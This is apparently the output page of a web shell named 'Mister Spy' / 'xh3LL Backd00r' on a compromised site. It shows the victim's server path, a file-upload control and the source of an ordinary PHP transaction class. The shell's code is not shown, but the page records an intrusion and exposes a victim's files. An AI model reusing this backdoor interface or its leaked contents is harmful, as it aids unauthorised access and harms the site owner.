Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.transaccion.php

<?php

require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.entidades.php');
require_once('class.formasentrega.php');
require_once('class.monedatipos.php');

class Transaccion extends DBAccess 
{
	public $IdTransaccion;
	public $IdUsuario;
	public $IdEntidad;
	public $IdMoneda;
	public $IdFormaEntrega;
	public $IdCuponDescuento;
	public $MonedaCotizacion;
	public $FacturaTipo;
	public $Fecha;
	public $Subtotal;
	public $Descuento;
	public $CostoEnvio;
	public $Iva;
	public $Iva10;
	public $Iva21;
	public $Total;
	public $Cotizacion;
	public $PaypalValue;
	public $Estado;
	
	
	public function __construct()
	{
		$this->IdTransaccion	= '';
		$this->IdUsuario		= '';
		$this->IdEntidad		= '';
		$this->IdMoneda			= '';
		$this->IdFormaEntrega	= '';
		$this->IdCuponDescuento	= '';
		$this->MonedaCotizacion	= '';
		$this->FacturaTipo		= '';
		$this->Fecha			= '';
		$this->Subtotal			= 0;
		$this->Descuento		= 0;
		$this->CostoEnvio		= 0;
		$this->Iva				= 0;
		$this->Iva10			= 0;
		$this->Iva21			= 0;
		$this->Total			= 0;
		$this->Cotizacion		= 0;
		$this->PaypalValue		= '';
		$this->Estado			= TransaccionEstados::Pendiente;		
	}
		
	
	public function ParseFromArray(array $arr)
	{
		$this->IdTransaccion	= $arr['IdTransaccion'];
		$this->IdUsuario		= $arr['IdUsuario'];
		$this->IdEntidad		= $arr['IdEntidad'];
		$this->IdMoneda			= $arr['IdMoneda'];
		$this->IdFormaEntrega	= $arr['IdFormaEntrega'];
		$this->IdCuponDescuento	= $arr['IdCuponDescuento'];
		$this->MonedaCotizacion	= $arr['MonedaCotizacion'];
		$this->FacturaTipo		= $arr['FacturaTipo'];
		$this->Fecha			= $arr['Fecha'];
		$this->Subtotal			= $arr['Subtotal'];
		$this->Descuento		= $arr['Descuento'];
		$this->CostoEnvio		= $arr['CostoEnvio'];
		$this->Iva				= $arr['Iva'];
		$this->Iva10			= $arr['Iva10'];
		$this->Iva21			= $arr['Iva21'];
		$this->Total			= $arr['Total'];
		$this->Cotizacion		= $arr['Cotizacion'];
		$this->PaypalValue		= $arr['PaypalValue'];
		$this->Estado			= $arr['Estado'];
	}
	
	
	public function GetAllDetalles()
	{
		$TransaccionDetalles = new TransaccionDetalles();
		
		return $TransaccionDetalles->GetAllByTransaccion($this);
	}		
}
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat